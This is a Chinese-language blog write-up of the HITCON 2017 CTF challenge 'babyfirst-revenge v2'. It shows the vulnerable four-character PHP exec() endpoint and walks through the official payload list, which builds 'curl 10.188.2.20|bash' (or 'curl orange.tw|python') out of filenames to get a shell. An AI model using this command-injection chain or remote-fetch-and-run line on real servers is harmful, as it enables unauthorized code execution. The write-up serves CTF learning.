Hitcon2017 babyfirst-revenge v2复现

这个题目的条件更加苛刻了,先放个源码

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

简单看一下这段代码比上一次的代码的cmd长度更小,很显然我们就不能再以ls>>_ 来将相关的命令覆盖到文件里面了
但是orange大大用的方法真是叹为观止,根据官方payload一步步来分析这里是怎么巧妙的绕过4个字符串的长度的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
payload = [ 


# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',


# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',



# generate "curl orange.tw|python;"
# generate "curl 10.188.2.20|bash"
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>20\\',
'>2.\\',
'>8.\\',
'>18\\',
'>0.\\',
'>1\\',
'>\ \\',
'>rl\\',
'>cu\\',

# got shell
'sh x',
'sh g',
]

首先第一个知识点就是Linux下存在dir命令作为ls命令的别名,可能有的系统没有,但是对于这道题而言是有的,而且他也是默认以字典序去排列,对于这题而言这个命令起到了拼接文件名的效果,但是注意含有特殊字符以及数字的情况下,字母排序的优先级会降低
ietTMt.png

第二个点在于单独一个*的命令有何作用,这个命令会先将当前目录下所有的文件进行一个排序,然后排序后的结果会以命令的形式送去bash执行,如下图,但是如果有写不是命令的话就会出现command not found的报错,这样一来我们就可一利用dir加上*命令去执行写入文件的操作,这也是这道题目关键之处,利用了逆序执行命令的骚操作,这得对Linux系统多么熟悉啊
iet7sP.png

接着上就提出下一个知识点,就是利用rev命令去反向文件的字符串,顾名思义,我们就是要把ls -t >g这一条命令给逆序过来,这操作很强。这也是为什么要先构造下图中的文件名,你逆序过来就会发现是ls -th >g

ietHqf.png
有人可能会问为什么会多加一个h,因为如果不多加h的话在你执行dir的时候按字母排序字母ts更靠后,放进v文件之后以及放入想文件里面是这样的,这就跟我们的目的相违背,不能构造出ls -t >g了,但是我们构造的是ls -th >g情况就会有所改观,这个h实际上没有影响,就是一个改变视图结构的东西,把内存大小变得更加人性化而已。
ietqZ8.png

ietLdS.png

按照上面所说把v文件的内容弄好,下面就应该创建一个rev的文件,为的是利用这个命令,通过*v>x的方式把逆序后的内容放在x文件里面,到后期可以直接sh执行,*v>x这个命令的含义就是将所有最后一个字母都是v的文件排个序,然后执行,因为r在v的前面实际上的命令就是 rev v>x,所以最后到x文件里面的内容就是
ietjiQ.png

到这里就跟第一个babyfirst-revenge一样了,后续步骤就不多说了,直接上EXP获取flag2333

小结

1.第一个利用的点是逆序字符串放入文件中在执行,如果让我来想我是绝对想不到的,学习了
2.第二个就是利用了dir命令完美滴绕过了ls>>x这个限制
3.Linux下*命令巧妙使用


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 小结